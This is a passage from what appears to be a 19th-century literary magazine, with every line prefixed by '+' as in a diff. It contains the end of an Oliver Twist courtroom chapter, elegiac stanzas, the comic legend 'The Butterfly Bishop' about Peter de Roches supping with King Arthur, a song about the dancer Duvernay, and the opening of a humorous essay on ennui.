+"I hadn't a soul to mind the shop," replied the man; "everybody that
+could have helped me had joined in the pursuit. I could get nobody till
+five minutes ago, and I've run here all the way."
+
+"The prosecutor was reading, was he?" inquired Fang, after another
+pause.
+
+"Yes," replied the man, "the very book he has got in his hand."
+
+"Oh, that book, eh?" said Fang. "Is it paid for?"
+
+"No, it is not," replied the man, with a smile.
+
+"Dear me, I forgot all about it!" exclaimed the absent old gentleman,
+innocently.
+
+"A nice person to prefer a charge against a poor boy!" said Fang,
+with a comical effort to look humane. "I consider, sir, that you have
+obtained possession of that book under very suspicious and disreputable
+circumstances, and you may think yourself very fortunate that the owner
+of the property declines to prosecute. Let this be a lesson to you, my
+man, or the law will overtake you yet. The boy is discharged. Clear the
+office!"
+
+"D--me!" cried the old gentleman, bursting out with the rage he had
+kept down so long, "d--me! I'll----"
+
+"Clear the office!" roared the magistrate. "Officers, do you hear?
+Clear the office!"
+
+The mandate was obeyed, and the indignant Mr. Brownlow was conveyed
+out, with the book in one hand and the bamboo cane in the other, in a
+perfect phrenzy of rage and defiance.
+
+He reached the yard, and it vanished in a moment. Little Oliver Twist
+lay on his back on the pavement, with his shirt unbuttoned and his
+temples bathed with water: his face a deadly white, and a cold tremble
+convulsing his whole frame.
+
+"Poor boy, poor boy!" said Mr. Brownlow bending over him. "Call a
+coach, somebody, pray, directly!"
+
+A coach was obtained, and Oliver, having been carefully laid on one
+seat, the old gentleman got in and sat himself on the other.
+
+"May I accompany you?" said the book-stall keeper looking in.
+
+"Bless me, yes, my dear friend," said Mr. Brownlow quickly. "I forgot
+you. Dear, dear! I've got this unhappy book still. Jump in. Poor
+fellow! there's no time to lose."
+
+The book-stall keeper got into the coach, and away they drove.
+
+
+
+
+ELEGIAC STANZAS.
+
+BY MRS. CORNWELL BARON WILSON.
+
+
+    Why mourn we for her, who in Spring's tender bloom,
+      And the sweet blush of womanhood, quitted life's sphere?
+    Why weep we for her? Thro' the gates of the tomb
+      She has pass'd to the regions undimm'd by a tear!
+
+    To the spirits' far land in the mansions above,
+      Unsullied, thus early her soul wing'd its flight;
+    While she bask'd in the beams of affection and love,
+      And knew not the clouds that oft shadow their light!
+
+    Fate's hand pluck'd the bud ere it blossom'd to fame,
+      No withering canker its leaflets had known;
+    The ministering angels her fellowship claim,
+      And rejoice o'er a spirit as pure as their own!
+
+    While she knew but life's purer and tenderer ties,
+      The guardian who watches life's path from our birth
+    Call'd home the bright being Heav'n form'd for the skies
+      Ere its bloom had been ting'd by the follies of earth!
+
+    Alas! while the light of her young spirit's flame
+      Shone a day-star of Hope to illumine us here,
+    The messenger-seraph too suddenly came,
+      And bore his bright charge to her own native sphere!
+
+    Yet mourn not for her, who, in Spring's tender bloom,
+      Has made life a desert to those left behind;
+    Like the rose-leaf, tho' wither'd, still yielding perfume,
+      In our hearts, ever fragrant, her memory is shrin'd!
+
+
+
+
+FICTIONS OF THE MIDDLE AGES.
+
+BY DELTA.
+
+THE BUTTERFLY BISHOP.
+
+
+Amongst the numerous grievances complained of, during the reigns of the
+Anglo-Norman sovereigns, none gave more uneasiness than the inhuman
+severity of the forest-laws; they disgusted those nobles not in the
+confidence of the monarch, oppressed the people, and impoverished the
+country.
+
+The privilege of hunting in the royal forests was confined to the king
+and his favourites, who spent the greater portion of their time, not
+engaged in active warfare, in that diversion; many of them pursued wild
+beasts with greater fury than they did enemies of their country, and
+became as savage as the very brutes they hunted.
+
+The punishment for hunting or destroying game in royal forests, or
+other property belonging to the crown, was very severe: the offender
+was generally put to death; but, if he could afford to pay an enormous
+mulct to the king, the sentence was commuted either to dismemberment or
+tedious imprisonment.
+
+The propensity of the dignified clergy to follow secular pastimes,
+especially that of hunting, is well known: they were ambitious to
+surpass the laity in the number and splendid livery of their huntsmen,
+and to excel in making the woods resound with the echo of their bugles;
+many of them are recorded for their skill in the aristocratic and manly
+amusement of the chase. Few persons, however, either ecclesiastic
+or secular, equalled Peter de Roches, Bishop of Winchester, in his
+fondness for, and prowess in, the chase.
+
+Peter had spent the prime of his life as a soldier,[1] and having
+rendered King John essential service in such capacity, that monarch
+conferred upon him the lucrative office of Bishop of Winchester, and he
+thenceforth became a curer of souls instead of a destroyer of bodies.
+
+Peter's appointment as a bishop afforded him ample time to devote to
+the fascinating employment of chasing the "full-acorned boar" and
+stealthy fox: he thought the hunter's shout, the winding notes of the
+clanging horn, and the joyous bark of the hounds, much sweeter music
+than the nasal chaunt of the drowsy monks.
+
+It happened one day that Peter, (who was, according to the Chronicle of
+Lanercost,[2] a proud and worldly man,--as was too often the case with
+bishops of that period,) with a bugle dangling at his belt, and mounted
+upon a fiery steed, attended by a vast retinue of men, horses, and
+hounds, was in hot pursuit of a wary old fox; his courser,--more fleet
+than the mountain roe, scarce bruising the grass with his iron-shod
+hoofs,--like Bucephalus of Macedon, took fright at his own shadow, and
+became unmanageable; nor were all the skill and spur of the rider able
+to check his impetuous speed: the harder the bishop pulled, the more
+unruly became his steed; the bridle now suddenly snapped in twain,
+and the bishop was left to the fate that awaited him. Velocipede,
+for so the horse was called, now seemed exultingly to bound over the
+deepest ditches, and to clear the highest thorny-twining hedge with the
+greatest ease: nothing could moderate his foaming rage; he resembled
+more the far-famed Pegasus of Medusan blood, than the palfrey of a
+gentle bishop. The retinue, and eager hounds, notwithstanding their
+utmost endeavour to keep pace with their master, were left far behind.
+
+Peter, having no control over his flying barbary, awaited with truly
+apostolic calmness and gravity the issue of his wondrous ride,
+seriously expecting every minute a broken neck or leg; or, perchance,
+to have his preaching spoilt by the dislocation of a jaw-bone.--Such
+thoughts will frequently obtrude themselves into the minds of men
+encompassed with similar difficulties, let their presence of mind be
+never so great.
+
+After half an hour's ride in such unepiscopal speed, which can only
+be compared to that of a steam-engine upon the Manchester railroad,
+Velocipede suddenly stopped before a magnificent castle with frowning
+battlements and a gloomy moat. The bishop, wondering at what he saw,
+was struck dumb with astonishment; for he well knew that so extensive a
+castle had not hitherto existed in his diocese, nor did he know of any
+such in England. Velocipede seemed also at his wits' end, and commenced
+frisking and gamboling about; and, in making a devotional curvet to
+the castle, threw the gallant, but unprepared bishop, over his head.
+Peter was either stunned or entranced by the fall,--whether his senses
+ever returned the reader must determine for himself when he has perused
+what follows: the bishop, however, always declared that he was never
+senseless, and that he could preach as well after, as before his fall.
+
+No sooner was the bishop safely located upon the verdant down by the
+reverential feelings of the awe-struck Velocipede, than the castle's
+drawbridge fell, and an aged seneschal, of rubicund-tinted face, with
+at least fifty liveried lackeys in fanciful suits, ran to assist the
+bishop, and help him to regain his legs.
+
+By the aid of a restorative cordial the bishop was resuscitated, and,
+upon coming to himself, was welcomed by the seneschal to the castle of
+Utopia.
+
+The bishop looked aghast.
+
+"My lord bishop," said the seneschal, "the king, our master, has
+been long expecting you; he is all impatient to embrace you: hasten,
+my lord, hasten your steps into the castle; the wines are cooled,
+the supper is ready; oh, such a supper! my mouth waters at the very
+smell thereof! Four wild turkeys smoke upon the spit, seven bitterns,
+six-and-twenty grey partridges, two-and-thirty red-legged ones, sixteen
+pheasants, nine woodcocks, nineteen herons, two-and-thirty rooks,
+twenty ring-doves, sixty leverets, twelve hares, twenty rabbits, and an
+ocean of Welsh ones, (enough to surfeit all the mice, and kill every
+apoplectic person in the world,) twenty kids, six roebucks, eight
+he-goats, fifteen sucking wild-boars, a flock of wild-ducks, to say
+nothing of the sturgeons, pikes, jacks, and other fish, both fresh and
+saltwater, besides ten tons of the most exquisite native oysters: and
+then there are flagons, goblets, and mead-cups overflowing with frothy
+ale, exhilarating wine, and goodly mead, all longing to empty their
+contents into our parched and ready stomachs, which are unquenchable
+asbestos; for we drink lustily, my lord, and eat powdered beef salted
+at Shrovetide, to season our mouths, and render them rabid for liquid
+in the same proportion as a rabid dog avoids it."
+
+The seneschal here paused to take breath, for his description of the
+supper exhausted the wind-trunk of his organ; and the bishop, seizing
+the opportunity of its being replenished, said,
+
+"Peace, hoary dotard! thou hast mistaken thy man; I am Peter de Roches,
+Bishop of Winchester, and Protector of England during the king's
+sojourn abroad."
+
+"You need not tell _me_ what I already know," replied the seneschal;
+"though, it seems, I must again remind _you_ that my lord the king
+awaits your coming within the castle walls, and has prepared a
+sumptuous supper, with all manner of good cheer, to greet you."
+
+"Supper!" said the bishop in astonishment, "I have not yet dined;
+besides I never eat supper."
+
+"The devil take your inhuman fashion, then!" replied the seneschal:
+"in extreme necessity I might forego a dinner, provided I had eaten
+an overwhelming breakfast; but I would as soon die as go without my
+supper. To go to bed without supper is a base and aristocratic custom;
+I say it is an error offensive to nature, and nature's dictates; all
+fasting is bad save breakfasting. That wicked pope who first invented
+fasting ought to have been baked alive in the papal kitchen."
+
+To the latter part of the seneschal's speech the bishop mentally
+assented; but he merely said,
+
+"Go to, thou gorged dullard, and tell thy master to gormandize without
+me."
+
+"Well, go I suppose I must, if you will not come," returned the
+seneschal, "for I cannot longer tarry here. Ah, Sir Bishop, did you
+feel the gnawings of my stomach, you would be glad to throw some food
+to the hungry mastiff that seems feeding upon my very vitals!"
+
+"Hold thy balderdash!" said the bishop, who had become very irritated,
+and would have sworn, had it been etiquette to do so in those days,
+at the effusive and edacious harangue of the seneschal. "Verily, thy
+hunger and thirst have gotten the better of thy wits! Whence comest
+thou?"
+
+"From within the pincernary of that castle, where I have been
+indefatigably filling the goblets," answered the seneschal, smacking
+his lips. "_Sitio! sitio!_ my parched mouth moistens at the thought!
+Oh! the lachryma Christi, the nectar, the ambrosia, and the true
+Falernian! Ah! Sir Bishop, some persons drink to quench their thirst,
+but I drink to prevent it."
+
+"Pshaw!" said the bishop, "the wine that thou hast already drunken hath
+fuddled thy brains."
+
+"By a gammon of the saltest bacon!" returned the seneschal, "I have
+more sense of what is good in my little finger than your reverence has
+in your whole pate, or you would not stand shilly-shambling here whilst
+so goodly a supper waits within."
+
+The bishop was highly incensed at the seneschal's reflection upon his
+pate, and would have followed, had he dared, the slashing example of
+his namesake, and have smitten off the ear of this high-priest of
+the pantry; (for he always wore a sword, even in the pulpit, firmly
+believing in the efficacy of cold steel, knowing from experience that
+it would make a deeper and more lasting impression upon human obduracy
+than the most eloquent preaching;) but the bishop was deterred by
+prudential reflections from such sanguinary vengeance.
+
+How long the confabulation between the bishop and the loquacious
+seneschal would have lasted, and to what extent the patience of the
+former might have been tried, it would at this remote period be
+difficult to determine, especially as the Lanercost Chronicle does not
+inform us. At any rate, it was cut shorter than it would have been, by
+the approach of twenty youthful knights, clad in superb armour, and
+riding upon horses caparisoned in most costly and gorgeous trappings;
+they dismounted, and made a low obeisance. The bishop returned it as
+lowly as bishops generally do, unless they are bowing to the premier
+during the vacancy of an archbishoprick. The knights advanced; but
+Peter remained as firm and majestic as the rock of Gibraltar.
+
+"Sir Bishop," said the chief of the knights, a youth with a most
+beautiful and smiling face, "we are come to request your speedy
+attendance upon our lord the king, who with any other than yourself
+would have been much displeased at your perverse absence, after you
+have been bidden by the steward of the household."
+
+The bishop rubbed, shut, and opened his eyes.--"Am I bewitched,"
+thought he to himself, "or do I dream?"
+
+"Neither the one nor the other," said the knight, who perfectly
+understood the bishop's cogitations.
+
+"No? What, then, does all this mean?" inquired the bishop. "When did my
+lord the king return from Picardy?"
+
+"Proceed into the castle," replied the knight, "and let him answer for
+himself."
+
+"If these people consider this a joke," thought the bishop, "I by no
+means think it one. At all events, come what come may, I will follow up
+this strange adventure, and be even with these gentlemen. I have not a
+bishop's garment," said he, addressing the seneschal; "how can I appear
+before the king, accoutred as I am?"
+
+"Knowing how much you are addicted to hunting," returned the seneschal,
+"the king will assuredly receive you in your usual costume."
+
+"Tut, fool!" said the bishop sneeringly; "do you forget, or has your
+time been so engrossed with epicurean pursuits, that you have not
+learnt how a guest, though bidden, was punished because he attended a
+supper-party without a proper garment? Find me a becoming dress, and I
+will instantly attend his highness' pleasure."
+
+"If you will condescend to follow me," said the youthful knight, "a
+sacerdotal dress shall be procured for you."
+
+The bishop, nodding assent, was then conducted in solemn silence into
+the wardrobe of the castle, where the obsequious attendants soon
+arrayed him in a dress fit for a bishop to sit with the king at supper
+in. It was not such unpretending costume as that in which bishops are
+at present apparelled; but robes of the tinctured colours of the East,
+which were more apt to remind both the wearer and the beholders of
+mundane pomps and vanities, than of the humility and simplicity of
+Christianity. The alb was of most dazzling white, the dalmatica of
+gold tissue, the stole was embroidered with precious stones, and the
+chasuble, of purple velvet wrought with orfraise, was also studded with
+costly orient gems.
+
+The bishop thus splendidly accoutred was conducted with great state
+and solemnity into the banqueting-room, one of the most magnificent
+and spacious of the kind. It excelled everything he had ever before
+seen: odoriferous and fragrant perfumes, fit for a Peri[3] to feed
+on, saluted his nose; his sight was dazzled by splendid and radiant
+illuminations, the most exquisite music stole upon his ear, and
+laughter and mirth seemed to be universal; every face (there were many
+hundreds in the room) was decked with a smile; there wanted but one
+thing to complete the enchantment of the scene,--the light of woman's
+laughing eye.
+
+As the bishop entered the hall, five hundred harpers in an instant
+twanged their harps; and the air resounded with trumpets, clarions,
+fifes, and other musical instruments, not omitting the hollow drum.
+
+The bishop, being tainted with the superstitious feelings of the
+age, easily persuaded himself that he was in an enchanted palace; he
+therefore determined to conform to every custom that prevailed in the
+assembled company, and by that means he hoped to ingratiate himself
+with the presiding spirit. When he had reached the centre of the hall,
+the king (he wore a robe of rich crimson velvet, furred with ermine,
+over a dalmatica flowered with gold, rubies, emeralds, pearls, and
+diamonds, and on his head was a splendid crown beyond estimation,)
+descended from a throne of the purest crystal, and advanced to meet the
+bishop. As he passed the obsequious nobles, he received their servile
+adulation with a smile, and, extending his arms, folded the bishop in a
+royal embrace. The latter surveyed with some awe the brawny shoulders
+of the king, and regarded with much respect the amber-coloured locks
+hanging in great profusion down his musculous back. The bishop thought
+that the aquiline nose, the expansive brow, the large clear azure eye,
+and the ruddy complexion of his host, about as much resembled those of
+his own monarch as a terrible-looking bull-dog does a snarling mongrel.
+But he kept his complimentary thoughts of his host to himself, as he
+was not at any time of a communicative spirit,--he was a proud, not a
+vain man,--and he moreover did not know how his compliment might be
+received.
+
+The king handed the bishop to the upper end of the hall, and placed him
+at his right hand. No sooner were they seated than twenty trumpeters,
+in a gallery at the lower end of the room, blew, as the signal for
+supper to be served up, three such electrifying blasts, that, had the
+building not been as substantial as beautiful, it must have been shaken.
+
+As the loquacious seneschal, in tempting the bishop to quicken his
+steps to supper, has put us in possession of many of the various
+articles provided for this festive entertainment, we shall not weary
+our reader by recapitulating them; but content ourselves with stating
+that, in addition to the solid fare, there were exquisite and delicate
+fruits and viands, with wines and liqueurs of the choicest quality and
+flavour. The supper-service was of the most superb description, frosted
+silver and burnished gold; the goblets, vases, and wine-cups were of
+crystal, mounted in gold richly carved. Such a feast the bishop had
+never seen or tasted; and yet he was, like many of his predecessors
+and successors too, perfectly familiar with the charms of eating and
+drinking.
+
+Nothing produces good-fellowship, intimacy, and conviviality more than
+a good supper. We do not mean the cold, formal, and pompous supper
+given to a fashionable party of the present day; but such as were
+peculiar to by-gone days, when the table groaned under hot and solid
+joints, and the company, with good appetites as provocatives, ate
+and drank right heartily,--when glee and joy sat merrily upon every
+face, and the glass went briskly round. Even misanthropes or proud men
+could not be insensible to such festive scenes; their hearts would
+necessarily warm as the exhilarating wine washed away their gloomy and
+proud thoughts.
+
+The bishop soon became familiar with his host, ate, drank, laughed,
+and was merry; (we will not so scandalise the Bench as to presume that
+he was drunk, although the Chronicle of Lanercost insinuates as much;)
+the conversation was brilliant, the wit bright and poignant, and the
+repartees flashed, and often rebounded upon the discharger.
+
+To put a direct or pointed question at any time is, to say the least
+of it, ungentlemanly; it very often gives dire offence, is seldom
+admired or tolerated even by your most intimate acquaintance; and men
+are seldom guilty of it, unless in their cups, or with a desire of
+insulting:--how unpalatable must it be to royalty! As we know it was
+the bishop's desire to keep upon good terms with his host, it is but
+natural to infer that he would not intentionally insult him by any
+rude question. If, therefore, any rudeness occurred on the part of the
+bishop, it is charitable to set it down to inebriation, or perhaps to
+the bishop's habit of putting questions in the confessional.
+
+To the ineffable surprise of the king, the bishop was so injudicious as
+to ask his host, in the most direct and pointed manner, who he was, and
+whence he came there.
+
+No sooner had the bishop attempted to satisfy his prying curiosity by
+what appeared to him a very natural question, than the hall shook as if
+Nature were indignant at his presumptuous inquiry; the whole place was
+filled with an effulgent lambent light so brilliant, that it entirely
+eclipsed the blaze of the variegated lamps that burned in the hall; a
+low murmuring wind followed. The king's eyes seemed to flash liquid
+fire as he answered, "Know me for what I am,--Arthur, formerly lord of
+the whole monarchy of Britain, son of the mighty Pendragon, and the
+illustrious founder of the Order of the Round Table."
+
+The bishop, having a firm heart and buxom valour, was far from being
+daunted, as most men in a similar situation would have been, and he
+inquired whether the story then current was true, that King Arthur
+was not dead, but had been carried away by fairies into some pleasant
+place, where he was to remain for a time, and then return again
+and reign in as great authority as ever; or whether he died by the
+sword-wounds he received from the sons of the king of the Picts;
+and if so, whether his soul was saved, and come to revisit this
+sublunary world. The bishop, meditating authorship, asked a thousand
+other questions relative to the immortality of the soul; and so
+subtle were they, that, had they been put in these days of sciolism
+and charlatanry, his fame would have been as brilliant, lasting, and
+deserved as that of the noble editor of Paley's Theology.
+
+Whether King Arthur did not choose to satisfy the bishop's curiosity,
+or whether, judging from the usual depth of the human mind, he thought
+the immortality of the soul a subject too deep and mystic for such
+moonshine treatises as have been written concerning it, the Chronicle
+of Lanercost does not inform us. It merely states, that to all the
+bishop's searching questions Arthur only replied, "_Verè expecto
+misericordiam Dei magnam_." He had no sooner uttered those words than
+a roar, like the falling of mighty waters such as Niagara's was heard,
+and from the incense-altar another blaze of transcendent light issued:
+the whole assembly, excepting the bishop, prostrated themselves and
+chaunted a hymn, which he, mistaking for a bacchanal-venatical chorus,
+heartily joined in. Upon this outrage of public decency, the chaunt
+instantly terminated with a crash resembling what is ignorantly called
+the falling of a thunderbolt; the altar again smoked, and horrible and
+clamorous noises issued therefrom, like the bellowing of buffaloes, the
+howling of wolves, the snarling and barking of hounds, the neighing of
+horses, the halloo of huntsmen, and the blasts of brazen trumpets, all
+in heterogeneous mingle. The smoke gradually assumed the appearance
+of a host of hunters; one of them, evidently their chief, fixed his
+glaring eyes upon the bishop, and frowned awfully. The bishop did not
+admire the looks of the hunter-chief, and even winced a little when he
+raised his ghastly arm, (as a self-satisfied orator does when about
+to enforce some appalling clap-trap sentiment,) and said in a gruff
+growl, "I am Nimrod, of hunting fame, and such a hunter was I as the
+world had not before, or since, or will ever have again. Yet was I
+no monopolizer of game, or murderer of men to preserve it, as some
+have unjustly charged me. I loved the chase, and taught my subjects
+to love it too; but thou, oh Bishop Peter, hast been a cruel hunter,
+and strict preserver of game. The tongues thou hast dilacerated, the
+ears and noses thou hast cut off, and the wretches thou hast slain,
+form an awful catalogue of cruelty, and one that will require tears of
+blood to wash out. Hearken to the lamentations of thy victims, and the
+bewailings of the widows and orphans thy cruelty hath made! Hadst thou
+not been so peerless and bold a hunter, I should not have condescended
+to warn you of the terrible fate you will experience in the world to
+come, unless you mend your ways. Lover and encourager that I was, and
+interested as I still am in that manly sport, I would sooner that it
+were entirely lost to the world than it should be disgraced by human
+bloodshed. List, I say, to the cries of the victims whom thou hast
+sacrificed at the altar of Diana, thy divinity!" Loud lamentations were
+now heard, and a hideous group of dismembered menacing ghosts flitted
+rapidly before the bishop's wondering sight. He closed his eyes to
+avoid their angry looks; one writer insinuates that he swooned, but we
+think that unlikely. Be it, however, as it may, upon his opening his
+eyes he neither saw Nimrod, his crew, nor any of the victims of the
+forest-laws. They had every one of them disappeared!
+
+King Arthur, like a brave and magnanimous prince, soon forgot and
+forgave the bishop's want of good breeding in asking impertinent
+questions; though he severely chid him for having split so many human
+noses, and dismembered Christians without the slightest remorse, for so
+trifling an offence as infraction of the forest-laws: and that, too,
+within the very precinct of Winchester Castle, where the Round Table
+was preserved. The bishop thought those offences anything but trifling,
+and that the souls as well as bodies of the offenders merited the
+severest punishment, instead of commiseration.
+
+King Arthur then denounced the concupiscence of the dignitaries of the
+church, and their appetite for, and easy digestion of, the good things
+of the world; and he declared that they regarded nothing but sensual
+gratification, and wasted their precious lives in banqueting, hawking,
+and hunting. He entreated the bishop to leave off his hunting habits,
+and to take unto those that were more episcopal and less sanguinary. He
+told him that it would add considerably to his mundane happiness, and
+tend more to his salvation than ten thousand thoughtless repetitions of
+the "pater noster" and twelve thousand of the "ave Maria." So much did
+King Arthur say, needless here to be repeated, that the bishop mentally
+resolved to profit by the king's advice. But it occurred to him that
+he could not suddenly leave off hunting without assigning a sufficient
+reason for his determination; and that if he related what had befallen
+him, his being a bishop would not entitle him to credit, nor protect
+him from the derision of his sovereign and his courtiers; for who would
+believe his most solemn asseveration that he had seen Nimrod, and
+conversed and supped with King Arthur?
+
+King Arthur, perceiving what was agitating the bishop's ideas,
+determined to assist in fulfilling so righteous a resolve as the bishop
+was meditating.
+
+"Extend your right hand," said Arthur; the bishop complied. "Shut it,"
+said Arthur; the bishop did as he was told. "Now open it," continued
+Arthur. The bishop opened his hand, and there flew therefrom an
+exquisitely beautiful butterfly.
+
+The bishop, notwithstanding all that he had just before seen and heard,
+now in real good earnest believed himself bewitched, and heartily
+wished that he had never forsaken the profession of a soldier for that
+of a bishop, to be subject to miracles; for in those days miracles and
+visions only occurred to the dignified clergy.
+
+King Arthur, compassionating the bishop's perturbation, said, "Whenever
+in relating your adventure any one doubts it, you shall afford him
+sufficient autopsy of its verity by sending, at all seasons of the
+year, a butterfly from your hand, in memorial of me and of your
+virtuous resolution."
+
+The bishop cordially thanked King Arthur for his kindness and
+consideration, and swore by the face at Lucca, (his favourite oath,)
+that as long as he lived, he would never again sound the bugle, follow
+hounds, nor punish man, woman, or child for infringing the game-laws;
+and that he would moreover exert all his influence with King John to
+relax the inhuman severity of the forest-laws.
+
+No sooner had the bishop made a solemn adjuration to that effect than
+he felt a stunning blow upon his head, which deprived him of all
+sensation. When he recovered, he found himself lying where Velocipede
+had thrown him, and the brute quietly grazing by his side.
+
+The bishop vaulted upon his saddle, spurred his steed, and galloped off
+as fast as the creature could go. After a ride of about five miles,
+he found his attendants anxiously seeking him. He related all that
+had occurred, to their great awe and astonishment; but when they had
+autoptical evidence of the truth of his narration, by his letting loose
+a mealy-winged butterfly from his hand, their fear and wonder exceeded
+all bounds.
+
+The bishop's adventure was soon bruited abroad, and thousands flocked
+from all parts of England, Scotland, Ireland, and even the Continent,
+to see the man who had supped with King Arthur, and seen the hunter
+Nimrod. Many more came to witness a miracle performed: a circumstance
+of rare occurrence to the vulgar in those days, miracles, as we have
+above observed, being reserved for the private view of bishops and
+monks. Those pilgrimaging to Winchester always sought and received
+a blessing from the butterfly hand of the bishop as soon as he was
+satisfied that a liberal oblation had been made at the high altar of
+his cathedral.
+
+The frequent repetition of the miracle obtained for Peter the
+appellation of the BUTTERFLY BISHOP; and the offerings at the high
+altar so greatly augmented his revenue, that he never once repented of
+his promise to King Arthur. His time was so occupied in performing the
+miracle and blessing the people, that he had no time, whatever was his
+inclination, for hunting.
+
+The Chronicler ends this strange story in the following words "_Quid in
+hoc anima Arthuri mortalis adhuc docere voluerit, perpendat qui meliùs
+conjicere poterit_:"--which, for the benefit of our female readers,
+may be rendered thus,--"What the still mortal soul of Arthur wished to
+teach by this, let him consider who can best interpret."
+
+FOOTNOTES:
+
+[Footnote 1: Matthew Paris describes him as "_Vir equestris ordinis, et
+in rebus bellicis eruditus_."]
+
+[Footnote 2: The original words are, "_Idem vir vanus et mundanus, ut
+nimis inolevit nostris pontificibus_."]
+
+[Footnote 3: The Peris of Persian romance are supposed to feed upon the
+choicest odours; by which food they overcome their bitterest enemies
+the Deevs, (with whom they wage incessant war,) whose malignant nature
+is impatient of fragrance.]
+
+
+
+
+A NEW SONG TO THE OLD TUNE OF "KATE KEARNEY."
+
+
+    O, say have you heard of Duvernay?
+    They tell me she's able to earn a
+        Hundred pounds in a night,
+        Such crowds she'll delight--
+    What _danseuse_ is like to Duvernay?
+
+    If you e'er go to see this Duvernay,
+    Just notice her when she shall turn a
+        Most sweet pirouette,
+        And you'll never regret
+    Forking out to behold this Duvernay.
+
+    Would you know where you may see Duvernay?
+    You must go to Pall-mall, and just turn a
+        Little up a wide street,
+        When the Opera you'll meet,
+    And there you'll behold this Duvernay.
+
+    Tell me not of Leroux or Taglioni;
+    One's too stout, and the other's too bony:
+        If you see them all three,
+        You'll be thinking with me,
+    Of all dancers the flow'r is Duvernay.
+
+        F.G.
+
+        _City of London Institution,
+        Aldersgate-street._
+
+
+
+
+WHAT TOM BINKS DID WHEN HE DIDN'T KNOW WHAT TO DO WITH HIMSELF.
+
+
+Is it creditable to that very respectable academical abstraction,
+that indefatigable pioneer to the march of intellect, (which some
+imagine to be the rogues' march,) the _schoolmaster_, notwithstanding
+his ubiquity, and his being lately abroad on his travels, that the
+medical faculty, with all their appliances of pill and book, have not
+up to this hour been able to devise a remedy for a very common-place
+disorder, so feelingly enunciated in that touching and eloquent
+exclamation, "I really don't know what to do with myself!" or to
+ascertain in what category of diseases incident to humanity it is
+to be placed? Like hydrophobia, it has baffled the ingenuity of the
+faculty, who summarily disposed of the evil between two feather-beds;
+and, though no effectual remedy has been devised for this pet malady, a
+feather-bed, or an easy-chair, has been found to operate as a sedative.
+One thing is clear; that, of all the ills that flesh or spirit is heir
+to, this interesting disorder possesses as respectable a degree of
+obstinacy and virulency as ever humanity had to cope with.
+
+Talk of being dunned for your own or anybody else's debt; talk of a
+favourite horse or dog falling sick just as you are ready to mount,
+and the scent reeking hot on the stubble; of being bored, no matter
+with what; talk--even if one is put to that--of the devil; and what
+are all these petty annoyances to that sublime of _blue-devilism_ to
+which a poor devil is reduced, when, in his extremity, he reposes his
+hands on his "fair round belly," or thrusts them to the very bottom of
+his breeches' pockets, with not a cross there to keep the devil out,
+and feelingly exclaims, "I really don't know what to do with myself!"
+One may double the corner on a dun, or stop his mouth for three months
+together with a promissory note, though at the end of that period it
+may be as fructifying as any note of admiration; or, at worst, pay him
+and be d--d to him, and there's an end. That biped Shank's mare is a
+very respectable animal, which you may borrow; or any body else's who
+may be disposed to lend. In case of a _bore_, you may retaliate, and
+_perforate_ in your turn. You may defy the devil, though backed with
+this world, and his own, and the flesh to boot. But when that _ne
+plus ultra_ of blue-devilism attacks you, what's the remedy? I don't
+know--do you? but this I know; that it is the most rascally, &c. &c.
+&c. kind of malady, will be generally admitted.
+
+Your poor devil at the East-end, and your devil-may-care fellow of
+the West-end, are equally honoured by its visitation; while your
+happy, active middle-man, who stands aloof from either end, sturdily
+bids it defiance, and slams the door in its face. Under the influence
+of this visitor it is that sundry pious pilgrimages are made to
+the foot of Waterloo or Blackfriars' bridges, to steal out of life
+through an archway, unless the dear enthusiast is interrupted by a
+meddling officious waterman, and his senses gently wooed back by the
+resuscitating apparatus and warm blankets of the Humane Society. Will
+Sprightly, with four thousand a-year unincumbered, doesn't know what
+to do with himself, and straightway falls to the agreeable occupation
+of encumbering it, and, when it will bear no more, he finds he cannot
+bear himself, and incontinently flies from one state of suspense to
+another, and hangs himself; or, should the ruling passion be strong
+in death, and he is desirous even then to cut a figure, why, he cuts
+his throat; or, the report of a pistol will give you a pretty correct
+intimation of his whereabouts, and his probable occupation. "Temporary
+insanity" is uniformly the verdict of your "crowner's 'quest" on such
+occasions; even a physician of any repute will honestly state on
+ordinary occasions, particularly when the patient has the benefit of
+his skill and experience in helping him to leave this wicked world,
+that he died of such and such a disorder, and will manfully state the
+name of the disorder, and the world gives him credit for his skill and
+integrity. Would gentlemen serving upon "crowners' 'quests" imitate
+this heroic example, instead of recording the foolish verdict of
+"temporary insanity," they would say, "The deceased _didn't know what
+to do with himself_!" This would be intelligible, and the faculty might
+stumble upon a remedy; but "temporary insanity" is too transitory,
+too fugitive to be grappled with, too vague and indefinite in its
+very name ever to do any good, and the patient is generally "past all
+surgery" before one suspects he is attacked with insanity, be it ever
+so temporary or evanescent: but in honestly recording that "he didn't
+know what to do with himself, _and thereby came by his death_," it
+would be but doing justice to that interesting malady. Thus it could be
+easily observed in all its stages, from its incipient symptoms at the
+gaming or any other well-garnished table, where it sometimes takes its
+rise, through all its phases and evolutions, till the malady comes to
+a _head_, and a man blows out his brains. The disease, through each of
+these changes, might be stayed in its progress, and society might be
+benefited by the honesty of the verdict.
+
+Shade of the "mild Abernethy!" how many thousands of thy patients
+laboured under this disorder! and how often did thy sagacious and
+provident spirit turn the halter into a skipping-rope, and, in order
+that thy patients should live, insist upon a few mouthfuls the less!
+
+To a feeling very near akin to this, Tom Binks found himself reduced,
+as, about twelve at noon, he flung himself into an easy-chair, and
+sought, from the appliances of its downy cushions, a lenitive for
+his wounded spirit. His feet on the fender, the fire gently stirred,
+the curtains still undrawn and shutting out the garish sun, his eye
+fixed on the glowing landscape formed by the fantastic combination
+of the embers in the grate, the corners of his fine mouth drawn down
+in hopeless despondency, as if nothing on earth could elevate them,
+his hands clasped over his knees, he sat, not knowing what to do with
+himself.
+
+The room in which Binks sat was small, but elegant; pictures of the
+most costly description covered the walls,--the most exquisite that
+owned him or anybody else as _master_; gold and silver had done their
+work. On the polished surface of the tables were thrown the most
+amusing works of the day, the last new novel, the lively magazine,
+the gay album, the serious review, all exhibiting on the same board
+like so many brethren of the _Ravel family_, in the most alluring
+and seductive shapes; but they exhibited in vain. With all these
+elements of happiness around him, what _could_ Binks sigh for? With
+easy possessions, he was the most uneasy of human beings. Did he play,
+fortune was always in the best humour with him: in the billiard-room
+the ball bounded from his cue to its destination; in the field his shot
+was unerring, and the papers regularly chronicled the murder, or the
+music, of his gun: no man stood better with _ins_ and outs; his maiden
+speech was said to be _shy_, simply because it _was_ maiden, but full
+of promise. With the ladies he was whatever he or they pleased; but
+now you could "brain him with my lady's fan" as he sits vegetating, or
+cogitating, on a pile of cushions, his breakfast scarcely touched, and
